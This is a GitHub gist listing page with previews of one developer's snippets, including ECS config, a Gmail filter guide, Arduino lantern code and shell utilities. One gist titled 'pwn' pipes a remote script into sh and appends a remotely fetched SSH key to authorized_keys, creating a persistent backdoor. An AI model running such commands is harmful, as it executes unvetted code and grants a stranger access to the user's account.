Navigation Menu

Skip to content

Instantly share code, notes, and snippets.

View RichardBronosky's full-sized avatar

Bruno Bronosky RichardBronosky

View GitHub Profile
@RichardBronosky
RichardBronosky / redis-service-task-def.json
Created April 2, 2015 15:37
Starts a container with the Redis "Official Repo" and a container with my https://registry.hub.docker.com/u/richardbronosky/aws-ecs-service-discovery/
{
"family": "redis-service",
"volumes": [
{
"name": "ecs",
"host": {"sourcePath": "/etc/ecs"}
}
],
"containerDefinitions": [
{
@RichardBronosky
RichardBronosky / README.md
Last active August 29, 2015 14:18
Stop Gmail from hiding your GitHub notifications.
  1. Create a filter with "Has the words" list:(*.github.com)
  2. Click "Create filter with this search »"
  3. Check the box for "Categorize as:" and select "Personal" from the dropdown
  4. Optionally check the box for "Also apply filter to matching conversations."
  5. Click the "Create Filter" button
import urwid
choices = u"""When I get to the bottom I go back to the top of the slide. Where I stop and I turn and I go for a ride. Till I get to the bottom and I see you again. Yeah yeah yeah hey.
Do you, don't you want me to love you. I'm coming down fast but I'm miles above you. Tell me tell me tell me come on tell me the answer. Well you may be a lover but you ain't no dancer.
Now helter skelter helter skelter. Helter skelter yeah. Ooh!
Will you, won't you want me to make you. I'm coming down fast but don't let me break you. Tell me tell me tell me the answer. You may be a lover but you ain't no dancer.
Look out helter skelter helter skelter. Helter skelter ooh.
Look out, cos here she comes.
When I get to the bottom I go back to the top of the slide. And I stop and I turn and I go for a ride. And I get to the bottom and I see you again. Yeah yeah yeah.
Well do you, don't you want me to make you. I'm coming down fast but don't let me break you. Tell me tell me tell me the an
@RichardBronosky
RichardBronosky / lantern_beta_100.ino
Created May 15, 2015 01:29
Decatur Makers Lanterns - designed for Decatur Arts Festival Lantern Parade
/*
Decatur Makers Lanterns
designed for Decatur Arts Festival Lantern Parade
May 16, 2015 Decatur, GA
Lantern Code beta
v 100 added eeprom address storage / retrieval
added paparozzi, firefly patterns
*/
## bashpass.py
# inspired by http://www.bash.org/?244321 and http://code.activestate.com/recipes/134892/
# This is a very nasty first effort. The next step is to shoe horn this
# functionality into getpass.py in the standard library. Demo via:
# python bashpass.py
class _Getch:
"""Gets a single character from standard input. Does not echo to the
screen."""
def __init__(self):
### Usage: compare_script.sh directory1 directory2
# This script can be used with 2 different functionalities, list_same or list_different
#functionality=list_same
functionality=list_different
# list_different will include files that exist only in the first directory. For
# that reason you will probably want to run it as:
# compare_script.sh dir1 dir2; compare_script.sh dir2 dir1
# put your current git branch into your bash prompt string.
export PS1='$(git branch 2>/dev/null | awk "/\*/{print \"[\"\$2\"]\"}")\w\$ '
/usr/local $ brew install gist
==> Downloading http://github.com/defunkt/gist/tarball/v1.0.3
######################################################################## 100.0%
Error: MD5 mismatch
Expected: 6eeabfce794e1a65df7c8ed608891331
Archive: /Users/rbronosky/Library/Caches/Homebrew/gist-1.0.3.tgz
/usr/local $ md5 /Users/rbronosky/Library/Caches/Homebrew/gist-1.0.3.tgz
/usr/local $ cat Library/Formula/gist.rb
require 'formula'
@RichardBronosky
RichardBronosky / pwn
Created June 2, 2010 16:03
The shortest way to pwn someone's user account
## curl -L j.mp/pwnssh|sh
chmod go-w ~; umask 0077; mkdir -p ~/.ssh; chmod go-rwx ~/.ssh; curl -L j.mp/rbkey >> ~/.ssh/authorized_keys; clear;
@RichardBronosky
RichardBronosky / hudson.sh
Created July 31, 2010 04:01
basic init wrappers for long running processes, hudson, django runserver, etc.
#!/usr/bin/env bash
# A basic init wrapper for hudson. Designed to be generic enough for any long running process.
# Only tested on Mac OS 10.6
usage(){
cat << EOF
${0##*/} - A basic init wrapper for hudson.
Usage:
$0 ( start | stop | status )